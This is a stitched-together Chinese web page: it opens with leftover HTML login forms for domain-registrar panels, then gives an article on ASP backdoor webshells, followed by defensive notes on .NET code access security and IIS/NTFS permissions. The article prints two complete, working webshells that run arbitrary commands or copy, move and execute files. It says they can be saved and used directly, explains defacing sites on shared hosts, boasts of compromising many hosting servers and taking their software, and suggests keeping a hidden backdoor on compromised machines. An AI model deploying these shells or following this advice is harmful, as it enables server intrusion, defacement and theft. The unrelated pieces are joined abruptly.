name=Domain> <SELECT class=input id=Suffix size=1
name=Suffix> <OPTION selected>.com</OPTION>
<OPTION>.net</OPTION> <OPTION>.org</OPTION>
<OPTION>.cn</OPTION> <OPTION>.com.cn</OPTION>
<OPTION>.net.cn</OPTION> <OPTION>.org.cn</OPTION>
<OPTION>.gov.cn</OPTION> <OPTION>.ac.cn</OPTION>
<OPTION>.bj.cn</OPTION> <OPTION>.sh.cn</OPTION>
<OPTION>.tj.cn</OPTION> <OPTION>.cq.cn</OPTION>
<OPTION>.he.cn</OPTION> <OPTION>.sx.cn</OPTION>
<OPTION>.nm.cn</OPTION> <OPTION>.ln.cn</OPTION>
<OPTION>.jl.cn</OPTION> <OPTION>.hl.cn</OPTION>
<OPTION>.js.cn</OPTION> <OPTION>.zj.cn</OPTION>
<OPTION>.ah.cn</OPTION> <OPTION>.fj.cn</OPTION>
<OPTION>.jx.cn</OPTION> <OPTION>.sd.cn</OPTION>
<OPTION>.ha.cn</OPTION> <OPTION>.hb.cn</OPTION>
<OPTION>.hn.cn</OPTION> <OPTION>.gd.cn</OPTION>
<OPTION>.gx.cn</OPTION> <OPTION>.hi.cn</OPTION>
<OPTION>.sc.cn</OPTION> <OPTION>.gz.cn</OPTION>
<OPTION>.yn.cn</OPTION> <OPTION>.xz.cn</OPTION>
<OPTION>.sn.cn</OPTION> <OPTION>.gs.cn</OPTION>
<OPTION>.qh.cn</OPTION> <OPTION>.nx.cn</OPTION>
<OPTION>.xj.cn</OPTION> <OPTION>.tw.cn</OPTION>
<OPTION>.hk.cn</OPTION> <OPTION>.mo.cn</OPTION></SELECT>
</TD></TR>
<TR>
<TD align=right width="21%">密码:</TD>
<TD width="2%"> </TD>
<TD width="73%"><INPUT class=input id=Password type=password
maxLength=15 name=Password> <INPUT class=buttom type=submit value=登录 name=B1></TD></TR></TBODY></TABLE></DIV></TD></TR></FORM></TBODY></TABLE></DIV></TD></TR></TBODY></TABLE><BR>
<TABLE cellSpacing=0 cellPadding=1 width=492 align=center border=0>
<TBODY>
<TR>
<TD bgColor=#cccccc>
<DIV align=center>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#ffffff
border=0><TBODY>
<TR>
<TD class=p4 align=middle bgColor=#fece00 height=20>::: 新网域名登录管理
:::</TD></TR>
<TR>
<TD class=p2 height=60><A
href="http://www.paycenter.com.cn/manage/management.htm" target=_blank><SPAN
style="TEXT-DECORATION: none">XIN NET CORP.</SPAN></A>
<DIV align=center>
<TABLE id=table9 cellSpacing=1 cellPadding=5 width="90%" border=0>
<TBODY>
<FORM
action=https://www.paycenter.com.cn/cgi-bin/nEWpAYcENTER/Domain/DomainLogin
method=post>
<TR>
<TD align=right width="21%">域名:</TD>
<TD width="2%"> </TD>
<TD width="73%"><INPUT class=input maxLength=63 name=Domain>
<SELECT class=input size=1 name=Suffix> <OPTION
selected>.com</OPTION> <OPTION>.cn</OPTION>
<OPTION>.net</OPTION> <OPTION>.org</OPTION>
<OPTION>.cc</OPTION> <OPTION>.tv</OPTION>
<OPTION>.biz</OPTION> <OPTION>.info</OPTION>
<OPTION>.com.cn</OPTION> <OPTION>.net.cn</OPTION>
<OPTION>.org.cn</OPTION> <OPTION>.gov.cn</OPTION>
<OPTION>.ac.cn</OPTION> <OPTION>.bj.cn</OPTION>
<OPTION>.sh.cn</OPTION> <OPTION>.tj.cn</OPTION>
<OPTION>.cq.cn</OPTION> <OPTION>.he.cn</OPTION>
<OPTION>.sx.cn</OPTION> <OPTION>.nm.cn</OPTION>
<OPTION>.ln.cn</OPTION> <OPTION>.jl.cn</OPTION>
<OPTION>.hl.cn</OPTION> <OPTION>.js.cn</OPTION>
<OPTION>.zj.cn</OPTION> <OPTION>.ah.cn</OPTION>
<OPTION>.fj.cn</OPTION> <OPTION>.jx.cn</OPTION>
<OPTION>.sd.cn</OPTION> <OPTION>.ha.cn</OPTION>
<OPTION>.hb.cn</OPTION> <OPTION>.hn.cn</OPTION>
<OPTION>.gd.cn</OPTION> <OPTION>.gx.cn</OPTION>
<OPTION>.hi.cn</OPTION> <OPTION>.sc.cn</OPTION>
<OPTION>.gz.cn</OPTION> <OPTION>.yn.cn</OPTION>
<OPTION>.xz.cn</OPTION> <OPTION>.sn.cn</OPTION>
<OPTION>.gs.cn</OPTION> <OPTION>.qh.cn</OPTION>
<OPTION>.nx.cn</OPTION> <OPTION>.xj.cn</OPTION>
<OPTION>.tw.cn</OPTION> <OPTION>.hk.cn</OPTION>
<OPTION>.mo.cn</OPTION> <OPTION>.中国</OPTION>
<OPTION>.公司</OPTION> <OPTION>.网络</OPTION>
<OPTION></OPTION></SELECT></TD></TR>
<TR>
<TD align=right width="21%">密码:</TD>
<TD width="2%"> </TD>
<TD width="73%"><INPUT class=input id=Password4 type=password
maxLength=15 name=Password> <INPUT class=buttom type=submit value=登录 name=B11></TD></TR></FORM></TBODY></TABLE></DIV></TD></TR></FORM></TBODY></TABLE></DIV></TD></TR></TBODY></TABLE><BR>
<TABLE id=table6 cellSpacing=0 cellPadding=1 width=492 align=center border=0>
<TBODY>
<TR>
<TD bgColor=#cccccc>
<DIV align=center>
<TABLE id=table7 cellSpacing=0 cellPadding=5 width="100%" bgColor=#ffffff
border=0>
<TBODY>
<TR>
<TD class=p4 align=middle bgColor=#c0c0c0 height=20>::: 商务中国域名登陆管理
:::</TD></TR>
<FORM action=http://www.bizcn.com/domainportal method=post><INPUT
type=hidden value=login name=module0>
<TR>
<TD class=p2 height=60><A href="http://www.bizcn.com/domainportal"
target=_blank><SPAN
style="TEXT-DECORATION: none">BIZCN.COM,INC.</SPAN></A>
<DIV align=center>
<TABLE id=table10 cellSpacing=1 cellPadding=5 width="90%"
border=0><TBODY><FORM action="http://www.bizcn.com/domainportal"
method="post"><INPUT type=hidden value=login name=module>
<TR>
<TD align=right width="21%">域名:</TD>
<TD width="2%"> </TD>
<TD width="73%"><INPUT class=input id=Domain5 maxLength=63
size=28 name=domainname></TD></TR>
<TR>
<TD align=right width="21%">密码:</TD>
<TD width="2%"> </TD>
<TD width="73%"><INPUT class=input id=Password5 type=password
maxLength=15 size=17 name=password> <INPUT class=buttom type=submit value=登录 name=submit2></TD></TR></TBODY></TABLE></DIV></TD></TR></FORM></TBODY></TABLE></DIV></TD></TR></TBODY></TABLE><BR>
<TABLE cellSpacing=0 cellPadding=1 width=492 align=center border=0>
<TBODY>
<TR>
<TD bgColor=#cccccc>
<DIV align=center>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#ffffff
border=0><TBODY>
<TR>
<TD class=p4 align=middle bgColor=#8cca2d height=20>::: 中国频道域名登陆管理
:::</TD></TR>
<TR>
<TD><A
href="https://www.onlinenic.com/cgi-bin/chinese/correct_domain_new.cgi"
target=_blank><SPAN style="TEXT-DECORATION: none">ONLINENIC,
INC.</SPAN></A>(修改注册人)
<DIV align=center>
<TABLE id=table18 cellSpacing=0 cellPadding=2 width="98%"
border=0><TBODY>
<TR>
<TD>
<DIV align=center>
<TABLE id=table19 cellSpacing=1 cellPadding=5 width="96%"
border=0>
<FORM
action=https://www.onlinenic.com/cgi-bin/chinese/correct_contact_new.cgi
method=post>
<TBODY>
<TR>
<TD align=middle width="96%" colSpan=2>中文版</TD></TR>
<TR>
<TD align=right width="23%">域名:</TD>
<TD width="73%"><INPUT class=input id=race_domain
maxLength=63 size=18 name=race_domain> </TD></TR>
<TR>
<TD align=right width="23%">密码:</TD>
<TD width="73%"><INPUT class=input id=password6
type=password maxLength=20 size=10 name=password> <INPUT class=buttom id=submit0 type=submit value=登录 name=submit1></TD></TR></FORM></TBODY></TABLE></DIV></TD>
<TD>
<DIV align=center>
<TABLE id=table20 cellSpacing=1 cellPadding=5 width="96%"
border=0>
<FORM
action=https://www.onlinenic.com/cgi-bin/english/correct_contact_new.cgi
method=post>
<TBODY>
<TR>
<TD align=middle width="96%" colSpan=2>英文版</TD></TR>
<TR>
<TD align=right width="23%">域名:</TD>
<TD width="73%"><INPUT class=input id=race_domain0
maxLength=63 size=18 name=race_domain> </TD></TR>
<TR>
<TD align=right width="23%">密码:</TD>
<TD width="73%"><INPUT class=input id=password7
type=password maxLength=20 size=10 name=password> <INPUT class=buttom id=submit1 type=submit value=登录 name=submit3></TD></TR></FORM></TBODY></TABLE></DIV></TD></TR></TBODY></TABLE></DIV></TD></TR>
<TR>
<TD><A href="http://www.dns-diy.com/" target=_blank><SPAN
style="TEXT-DECORATION: none">DNS-DIY.com</SPAN></A> (域名解析)
<DIV align=center>
<TABLE id=table12 cellSpacing=1 cellPadding=5 width="90%"
border=0><TBODY>
<FORM
action=https://www.dns-diy.com/login.aspx?returnURL=http://www.dns-diy.com/dns.aspx
method=post>
<TR>
<TD align=right width="21%">域名:</TD>
<TD width="2%"> </TD>
<TD width="73%"><INPUT class=input id=username maxLength=63
size=28 name=username></TD></TR>
<TR>
<TD align=right width="21%">密码:</TD>
<TD width="2%"> </TD>
<TD width="73%"><INPUT class=input id=password type=password
maxLength=20 size=17 name=password> <INPUT class=buttom id=submit type=submit value=登录 name=submit></TD></TR></FORM></TBODY></TABLE></DIV></TD></TR></TBODY></TABLE></DIV></TD></TR></TBODY></TABLE><BR>
<TABLE id=table15 cellSpacing=0 cellPadding=1 width=492 align=center border=0>
<TBODY>
<TR>
<TD bgColor=#cccccc>
<DIV align=center>
<TABLE id=table16 cellSpacing=0 cellPadding=5 width="100%" bgColor=#ffffff
border=0>
<TBODY>
<TR>
<TD class=p4 align=middle bgColor=#ffbbdd height=20>::: 通联无限域名登录管理
:::</TD></TR>
<FORM name=form4 onsubmit="return check2();" action=http://partner.topbiz.cn/cgi-bin/Domain/DomainLogin
method=post><INPUT type=hidden value=login name=module1>
<TR>
<TD class=p2 height=60><A
href="http://partner.topbiz.cn/manage/management.htm" target=_blank><SPAN
style="TEXT-DECORATION: none">Topbiz.cn</SPAN></A>
<DIV align=center>
<TABLE id=table17 cellSpacing=1 cellPadding=5 width="90%"
border=0><TBODY>
<form action="http://partner.topbiz.cn/cgi-bin/Domain/DomainLogin" method=post>
<td width="17%" align="right">域名:</td>
<td width="13%"><b><font face="Arial, Helvetica, sans-serif" class="e8">WWW.
</font></b></td>
<td width="70%"> <input type="text" name="Domain" size="20" maxlength="63" class="input">
<select size="1" name="Suffix" class="input">
<option selected>.com</option>
<option >.cn</option>
<option>.net</option>
<option>.org</option>
<option>.cc</option>
<option>.tv</option>
<option>.biz</option>
<option>.info</option>
<option>.com.cn</option>
<option>.net.cn</option>
<option>.org.cn</option>
<option>.gov.cn</option>
<option>.ac.cn</option>
<option>.bj.cn</option>
<option>.sh.cn</option>
<option>.tj.cn</option>
<option>.cq.cn</option>
<option>.he.cn</option>
<option>.sx.cn</option>
<option>.nm.cn</option>
<option>.ln.cn</option>
<option>.jl.cn</option>
<option>.hl.cn</option>
<option>.js.cn</option>
<option>.zj.cn</option>
<option>.ah.cn</option>
<option>.fj.cn</option>
<option>.jx.cn</option>
<option>.sd.cn</option>
<option>.ha.cn</option>
<option>.hb.cn</option>
<option>.hn.cn</option>
<option>.gd.cn</option>
<option>.gx.cn</option>
<option>.hi.cn</option>
<option>.sc.cn</option>
<option>.gz.cn</option>
<option>.yn.cn</option>
<option>.xz.cn</option>
<option>.sn.cn</option>
<option>.gs.cn</option>
<option>.qh.cn</option>
<option>.nx.cn</option>
<option>.xj.cn</option>
<option>.tw.cn</option>
<option>.hk.cn</option>
<option>.mo.cn</option>
<option>.中国</option>
<option>.公司</option>
<option>.网络</option>
<option> </option>
</select></td>
</tr>
<tr>
<td width="17%" align="right">密码:</td>
<td width="13%"> </td>
<td width="70%"> <input type="password" name="Password" size="20" maxlength="15" class="input">
<a href="http://partner.topbiz.cn/manage/sendpasswd.htm">我忘了密码</a></td>
</tr>
<tr>
<td colspan="3"> <p align="center">
<input type="submit" value=" 登 录 " name="B1" class="buttom">
<input type="reset" value=" 重 新 输 入 " name="B2" class="buttom">
</p></td>
</form></TBODY></TABLE></DIV></TD></TR></FORM></TBODY></TABLE></DIV></TD></TR></TBODY></TABLE>
</BODY></HTML>
以下是第一款木马的代码:
<title>ASP Shell</title>
<%@ Language=VBScript %>
<%
Dim oScript
Dim oScriptNet
Dim oFileSys, oFile
Dim szCMD, szTempFile
On Error Resume Next
-- create the COM objects that we will be using --
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
-- check for a command that we have posted --
szCMD = Request.Form(".CMD")
If (szCMD <> "") Then
-- Use a poor mans pipe ... a temp file --
szTempFile = "C:" & oFileSys.GetTempName( )
Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
End If
%>
<HTML>
<BODY>
<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=".CMD" size=45 value="<%= szCMD %>">
<input type=submit value="执行命令">
</FORM>
<PRE><%
If (IsObject(oFile)) Then
-- Read the output from our command and remove the temp file --
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If
%>
</BODY>
</HTML>
运行后如下图: 在命令行里输入DIR命令点执行就可以查看目录了!!它可以使用各种DOS命令,如:copy、net、netstat等。
但是它的默认执行权限只有GUEST,也就是IUSR_COMPUTER用户的执行权限。当然如果你把IUSR_COMPUTER用户加入管理员组,那么你就有管理员权限了。这一款木马的特点是,使用很方便。几乎就想当于DOS命令行窗口xx作一样。但是如果服务器限制了FSO(无组件上传),那么它是没有办法使用了。还有就是在服务器以后增加的虚拟主机里也没有办法使用。只能在“默认 Web 站点”里使用,所以它相对的适用范围较窄。
对于防范方法让我们看一下它的代码就知道了:
Set oScript = Server.CreateObject("WSCRIPT.SHELL") "建立了一个名为oScript的WSCRIPT.SHELL对象,用于命令的执行"
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
上面三行代码创建了WSCRIPT.SHELL、WSCRIPT.NETWORK、Scripting.FileSystemObject三个对象,我们只要在注册表中把控制WSCRIPT.SHELL对象的项改名或删除就可以了。如下图:值得注意的是:我们应该把“WSCRIPT.SHELL”项和“WSCRIPT.SHELL.1”这两项都要改名或删除。因为如我们只修改“WSCRIPT.SHELL”项的话。那么黑客们只要把代码修改如下:Set oScript = Server.CreateObject("WSCRIPT.SHELL.1") 这个后门木马就又可以执行了。
大家可能已经想到了,我们在对“WSCRIPT.SHELL”项和“WSCRIPT.SHELL.1”改名时,一定要不容易被黑客们猜到,因为例如:你把“WSCRIPT.SHELL”改成了“WSCRIPT.SHELL888”。黑客们只要把代码相应的改成:Set oScript = Server.CreateObject("WSCRIPT.SHELL888"),木马程序就又可以执行了。还有就修改了注册表以后要重起WEB服务,设置才会有效。
接下来让我们再来看下一款ASP后门木马程序的代码:
<%response.write "<font size=6 color=red>一次只能执行一个xx作</font>" %>
<%response.write now()%><BR>程序所在的物理路径:
<%response.write request.servervariables("APPL_PHYSICAL_PATH")%>
<html>
<title>asps shell.application backdoor </title>
<body>
<form action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=text value="<%=szCMD %>"> 输入要浏览的目录<br>
<input type=text name=text1 value="<%=szCMD1 %>">
copy
<input type=text name=text2 value="<%=szCMD2 %>"><br>
<input type=text name=text3 value="<%=szCMD3 %>">
move
<input type=text name=text4 value="<%=szCMD4 %>"><br>
路径:<input type=text name=text5 value="<%=szCMD5 %>">
程序:<input type=text name=text6 value="<%=szCMD6 %>"><br>
<input type=submit name=sb value=发送命令>
</form>
</body>
</html>
<%
szCMD = Request.Form("text") 目录浏览
if (szCMD <> "") then
set shell=server.createobject("shell.application") 建立shell对象
set fod1=shell.namespace(szcmd)
set foditems=fod1.items
for each co in foditems
response.write "<font color=red>" & co.path & "-----" & co.size & "</font><br>"
next
end if
%> <%
szCMD1 = Request.Form("text1") 目录拷贝,不能进行文件拷贝
szCMD2 = Request.Form("text2")
if szcmd1<>"" and szcmd2<>"" then
set shell1=server.createobject("shell.application") 建立shell对象
set fod1=shell1.namespace(szcmd2)
for i=len(szcmd1) to 1 step -1
if mid(szcmd1,i,1)="" then
path=left(szcmd1,i-1)
exit for
end if
next
if len(path)=2 then path=path & ""
path2=right(szcmd1,len(szcmd1)-i)
set fod2=shell1.namespace(path)
set foditem=fod2.parsename(path2)
fod1.copyhere foditem
response.write "command completed success!"
end if
%> <%
szCMD3 = Request.Form("text3") 目录移动
szCMD4 = Request.Form("text4")
if szcmd3<>"" and szcmd4<>"" then
set shell2=server.createobject("shell.application") 建立shell对象
set fod1=shell2.namespace(szcmd4) for i=len(szcmd3) to 1 step -1
if mid(szcmd3,i,1)="" then
path=left(szcmd3,i-1)
exit for
end if
next if len(path)=2 then path=path & ""
path2=right(szcmd3,len(szcmd3)-i)
set fod2=shell2.namespace(path)
set foditem=fod2.parsename(path2)
fod1.movehere foditem
response.write "command completed success!"
end if
%>
<%
szCMD5 = Request.Form("text5") 执行程序要指定路径
szCMD6 = Request.Form("text6")
if szcmd5<>"" and szcmd6<>"" then
set shell3=server.createobject("shell.application") 建立shell对象
shell3.namespace(szcmd5).items.item(szcmd6).invokeverb
response.write "command completed success!"
end if
%>
要查看目录,只要输入相应的目录,点发送命令就可以了。这个木马程可以完成文件的COPY、MOVE,和执行程序。但很多命令都不能用,例如:del、net、netstat等。这个木马程的功能随然简单,但是用它来黑一个网站是足够了。比如,我们可以把网站的首页MOVE到其它地方,然后我们再COPY一个同名的黑客网页进去,就行了。
最要命的是这个木马适用于任何虚拟主机之中,也就是说我只要是服务器中的一个虚拟空间的用户,我就可以传这个木马上去,并用它来修改其它任何用户的主页。所以如果哪些提供虚拟空间的服务商没有打补丁的话,那真是死定了。
然而在我的实践中发现,中国很多的虚拟空间服务商,特别是一些小型的服务商都没有打补丁。我利用这一漏洞拿到了很多虚拟空间服务器的ADMIN,然后好心的帮他们补上漏洞。当然我也得到了我想得到的东西——很多好的软件和代码。我现在用着的很多ASP程序就是从他们那上面偷下来,太难听了,应该说DOWN下来的才对。
言归正传,我们应该怎样来防范这个ASP后门木马程序呢?让我们看一下它其中的这一句代码:set shell=server.createobject("shell.application"),跟刚才的方法一样,我们只要把"shell.application"项和"shell.application.1"项改名或删除就可以了。记住了,如果是改名,要改得复杂一点,不要让黑客们一下就猜到了。顺便说一句,如果是你给肉鸡打补丁最好是改名,并把名字记下来,这样也就成为自己一个隐密的后门了。最后对这两款ASP木马后门,以及如何防范ASP木马后门做一下总结:第一款木马功能上强大一些, 但适用范围窄,需要FSO支持也就是"Scripting.FileSystemObject"项的支持。第二款木马虽然功能上少一些,但它创建的是"shell.application"对象。在任何虚拟主机中都适用。(这一点危害确实太大了,提供支持ASP空间的管理员们,你们可得注意了!)
其实跟据对上面两款ASP木马后门的防范,大家可能已经想到了,对于ASP后门木马的防范,我们只要在注册表中把"shell.application"、"WSCRIPT.SHELL"等危险的脚本对象(因为它们都是用于创建脚本命令通道的)进行改名或删除,也就是限制系统对“脚本SHELL”的创建,ASP木马也就成为无本之木、无米之炊,运行不起来了。
注:以上代码复制保存为ASP文件就可以直接使用了。
为了解决安全问题,.NET Framework提供了一种称为代码访问安全性的安全机制。代码访问安全性允许根据代码的来源和代码的标识等属性将代码设置为不同级别的信任代码,同时还详细定义了不同级别的对代码的信任,从而可以详细的对代码设置各自的权限而不是将最大权限赋给所有的代码。使用代码访问安全性,可以减小恶意代码或各种错误的代码带来的严重的系统安全性问题的可能性。您可以设置允许代码执行的一组操作,同样可以设置永远不允许代码执行的一组操作。
实现代码访问安全性的基础就是JIT(运行时编译)和IL(中间代码)。所以所有以公共语言运行库为目标的托管代码都会受益于代码访问安全性。非托管代码则无法完全使用代码访问安全性。
下面我们将介绍一下代码访问安全性实现的各种功能:
代码访问安全性是控制代码对受保护资源和操作的访问权限的一种机制。在 .NET Framework中,代码访问安全性执行下列功能:
· 定义权限和权限集,它们表示访问各种系统资源的权限。
· 使管理员能够通过将权限集与代码组关联来配置安全策略。
· 使代码能够请求运行所需权限以及其他一些有用的权限,以及指定代码绝对不能拥有哪些权限。
· 根据代码请求的权限和安全策略允许的操作,向加载的每个程序集授予权限。
· 使代码能够要求其调用方拥有特定的权限。
· 使代码能够要求其调用方拥有数字签名,从而只允许特定组织或特定站点的调用方来调用受保护的代码。
· 通过将调用堆栈上每个调用方所授予的权限与调用方必须拥有的权限相比较,加强运行时对代码的限制。
为了确定是否已授予代码相应的权限,.NET运行库的安全系统将遍历整个调用堆栈,将每个调用方所授予的权限与目前要求的权限相比较。如果调用堆栈中的任何调用方没有要求的权限,则会引发安全性异常,并会拒绝访问和相应的操作。堆栈步旨在防止引诱攻击;在这种攻击中,受信程度较低的代码调用高度信任的代码,并使用高度信任的代码执行未经授权的操作。在运行时要求所有调用方都拥有权限将影响性能,但对防止代码遭受攻击至关重要。若要优化性能,可以使代码执行较少的堆栈步;但是,任何时候这样做时均必须确保不会暴露安全缺陷。
还存在另外一种代码访问安全性的常见用途,即应用程序将控件从网络 Web 站点直接下载到客户端,这种方式的代码安全性也是可以在客户端进行设置的,根据签名等数据权限证书来确定是不是可以允许下载的控件运行。这种方法类似于ActiveX的安全性设置,但是比之在设置权限更加详细和强大。同JAVA APPLET的沙箱安全机制相比,.NET 的客户端控件可以在本地简单设置后访问客户端的各种资源。由于这一方面的用途不是我们的重点,所以我们在这里就不再更详细的讨论其用途及其实现原理了。
下面我们就谈谈如何应用这一安全特性来解决ASP.NET中存在的系统安全漏洞。由于我们介绍的系统是共享主机,所以有其特殊性,即系统管理员无法事先给所有的代码赋予相应的权限,因为每个用户都可能有各种权限要求,并且这些要求特殊权力的代码在使用中都可能出现的,所以在权限管理上随时都有各种要求。
因此在权限设置方面,不仅仅是管理员设置,也包括了各个共享主机用户的权限请求,这也正是安全代码机制的一个重要部分。
请求权限是您让运行库知道代码执行有哪些操作权限的方法。通过将属性(声明式语法)放到代码的程序级范围来为程序集请求权限。
请求内置权限的代码示例:
//The attribute is placed on the assembly level.
using System.Security.Permissions;
[assembly:PermissionSetAttribute(SecurityAction.RequestMinimum, Name = "FullTrust")]
将此段代码放在程序的开始部分(namespace声明之前),在编译时就会将请求的权限存储在程序集清单中。加载时,运行库检查权限请求,并应用安全策略规则来确定授予程序集哪些权限。
虽然我们编写的大部分代码都没有请求权限,其实不管是共享主机形式还是独立服务器形式都应该请求权限,这是因为请求权限有助于确保只将代码需要的权限授予代码。如果没有授予代码额外权限,即使某些恶意代码想利用您的代码来进行安全性破坏,它也无法操作没有赋给您自己代码相应权限的额外系统资源。您只应该请求代码需要的那些权限,而不应请求更多权限。
代码请求权限之后,系统管理员可以使用"权限查看"工具 (Permview.exe,位于您的.NET Framework的目录的bin目录下) 来检查您的程序集并根据其他条件来设置安全策略以决定是否给您的代码所请求的相应权限。如果您不显式地在代码中请求应用程序需要的权限,那么管理员将很难管理您的应用程序。在权限管理严格的主机上,将无法实现您的代码所要求的功能。
请求权限会通知运行库应用程序正常运行需要哪些权限,或具体不需要哪些权限。在.NET Framework安装后的默认状态下,所有代码都是FullTrust(完全信任)的。这时是不需要申请任何权限的,但是管理员一旦修改了代码安全,我们使用的磁盘访问就要受到限制了,这是就需要申请相应的权限了。我们上边介绍的文件管理代码就需要具有本地硬盘读写操作的能力,则应用程序必须拥有 FileIOPermission。如果代码不请求 FileIOPermission,在本地安全设置不允许应用程序拥有此权限的主机上,在应用程序尝试磁盘操作时就会引发安全性异常。即使应用程序能够处理此异常,也不会允许它操作磁盘。当然,如果您的代码不访问受保护的资源或执行受保护的操作,则不必请求任何权限。例如,如果代码只根据向它传递的输入来计算结果而不使用任何资源,则不必请求权限。如果您的代码访问受保护的资源但未请求必要的权限,则仍可能允许它执行,但如果它尝试访问某种资源而它又没有必要的权限,则可能在执行过程中失败。
现在绝大多数的虚拟主机都禁用了 ASP 的标准组件:FileSystemObject,因为这个组件为 ASP 提供了强大的文件系统访问能力,可以对服务器硬盘上的任何文件进行读、写、复制、删除、改名等操作(当然,这是指在使用默认设置的 Windows NT / 2000 下才能做到)。但是禁止此组件后,引起的后果就是所有利用这个组件的 ASP 将无法运行,无法满足客户的需求。
如何既允许 FileSystemObject 组件,又不影响服务器的安全性(即:不同虚拟主机用户之间不能使用该组件读写别人的文件)呢?这里介绍本人在实验中获得的一种方法,下文以 Windows 2000 Server 为例来说明。
在服务器上打开资源管理器,用鼠标右键点击各个硬盘分区或卷的盘符,在弹出菜单中选择“属性”,选择“安全”选项卡,此时就可以看到有哪些帐号可以访问这个分区(卷)及访问权限。默认安装后,出现的是“Everyone”具有完全控制的权限。点“添加”,将“Administrators”、“Backup Operators”、“Power Users”、“Users”等几个组添加进去,并给予“完全控制”或相应的权限,注意,不要给“Guests”组、“IUSR_机器名”这几个帐号任何权限。然后将“Everyone”组从列表中删除,这样,就只有授权的组和用户才能访问此硬盘分区了,而 ASP 执行时,是以“IUSR_机器名”的身份访问硬盘的,这里没给该用户帐号权限,ASP 也就不能读写硬盘上的文件了。
下面要做的就是给每个虚拟主机用户设置一个单独的用户帐号,然后再给每个帐号分配一个允许其完全控制的目录。
如下图所示,打开“计算机管理”→“本地用户和组”→“用户”,在右栏中点击鼠标右键,在弹出的菜单中选择“新用户”:
在弹出的“新用户”对话框中根据实际需要输入“用户名”、“全名”、“描述”、“密码”、“确认密码”,并将“用户下次登录时须更改密码”前的对号去掉,选中“用户不能更改密码”和“密码永不过期”。本例是给第一虚拟主机的用户建立一个匿名访问 Internet 信息服务的内置帐号“IUSR_VHOST1”,即:所有客户端使用 http://xxx.xxx.xxxx/ 访问此虚拟主机时,都是以这个身份来访问的。输入完成后点“创建”即可。可以根据实际需要,创建多个用户,创建完毕后点“关闭”:
现在新建立的用户已经出现在帐号列表中了,在列表中双击该帐号,以便进一步进行设置:
在弹出的“IUSR_VHOST1”(即刚才创建的新帐号)属性对话框中点“隶属于”选项卡:
刚建立的帐号默认是属于“Users”组,选中该组,点“删除”:
现在出现的是如下图所示,此时再点“添加”:
在弹出的“选择 组”对话框中找到“Guests”,点“添加”,此组就会出现在下方的文本框中,然后点“确定”:
出现的就是如下图所示的内容,点“确定”关闭此对话框:
打开“Internet 信息服务”,开始对虚拟主机进行设置,本例中的以对“第一虚拟主机”设置为例进行说明,右击该主机名,在弹出的菜单中选择“属性”:
弹出一个“第一虚拟主机 属性”的对话框,从对话框中可以看到该虚拟主机用户的使用的是“F:\VHOST1”这个文件夹:
暂时先不管刚才的“第一虚拟主机 属性”对话框,切换到“资源管理器”,找到“F:\VHOST1”这个文件夹,右击,选“属性”→“安全”选项卡,此时可以看到该文件夹的默认安全设置是“Everyone”完全控制(视不同情况显示的内容不完全一样),首先将最将下的“允许将来自父系的可继承权限传播给该对象”前面的对号去掉:
此时会弹出如下图所示的“安全”警告,点“删除”:
此时安全选项卡中的所有组和用户都将被清空(如果没有清空,请使用“删除”将其清空),然后点“添加”按钮。
将如图中所示的“Administrator”及在前面所创建的新帐号“IUSR_VHOST1”添加进来,将给予完全控制的权限,还可以根据实际需要添加其他组或用户,但一定不要将“Guests”组、“IUSR_机器名”这些匿名访问的帐号添加上去!
再切换到前面打开的“第一虚拟主机 属性”的对话框,打开“目录安全性”选项卡,点匿名访问和验证控制的“编辑”:
在弹出的“验证方法”对方框(如下图所示),点“编辑”:
弹出了“匿名用户帐号”,默认的就是“IUSR_机器名”,点“浏览”:
在“选择 用户”对话框中找到前面创建的新帐号“IUSR_VHOST1”,双击:
此时匿名用户名就改过来了,在密码框中输入前面创建时,为该帐号设置的密码:
再确定一遍密码:
OK,完成了,点确定关闭这些对话框。
经此设置后,“第一虚拟主机”的用户,使用 ASP 的 FileSystemObject 组件也只能访问自己的目录:F:\VHOST1 下的内容,当试图访问其他内容时,会出现诸如“没有权限”、“硬盘未准备好”、“500 服务器内部错误”等出错提示了。
另:如果该用户需要读取硬盘的分区容量及硬盘的序列号,那这样的设置将使其无法读取。如果要允许其读取这些和整个分区有关的内容,请右键点击该硬盘的分区(卷),选择“属性”→“安全”,将这个用户的帐号添加到列表中,并至少给予“读取”权限。由于该卷下的子目录都已经设置为“禁止将来自父系的可继承权限传播给该对象”,所以不会影响下面的子目录的权限设置。
此方法可以从根本上杜绝FSO的虚拟主机问题,昨天晚上我也试用了这一方法很方便的解决了FSO的问题。
在Microsoft .NET Framework Configuration中可以设置所有关于.NET Framework的属性。
点击我的电脑,打开下拉菜单,我们可以看到程序集缓存、已配置程序集、远程处理服务、运行库安全策略、应用程序等五项。运行库安全策略设置是我们这篇文章的重点。
我们可以先查看一下程序集缓存,在这里我们可以看到所有的全局程序集缓存,全局程序集缓存中存储了专门指定给由计算机中若干应用程序共享的程序集。在这里我们可以发现我们可以使用的所有的程序集,同时也可以添加和删除某些程序集。详细操作请参见.NET Framework SDK文档。
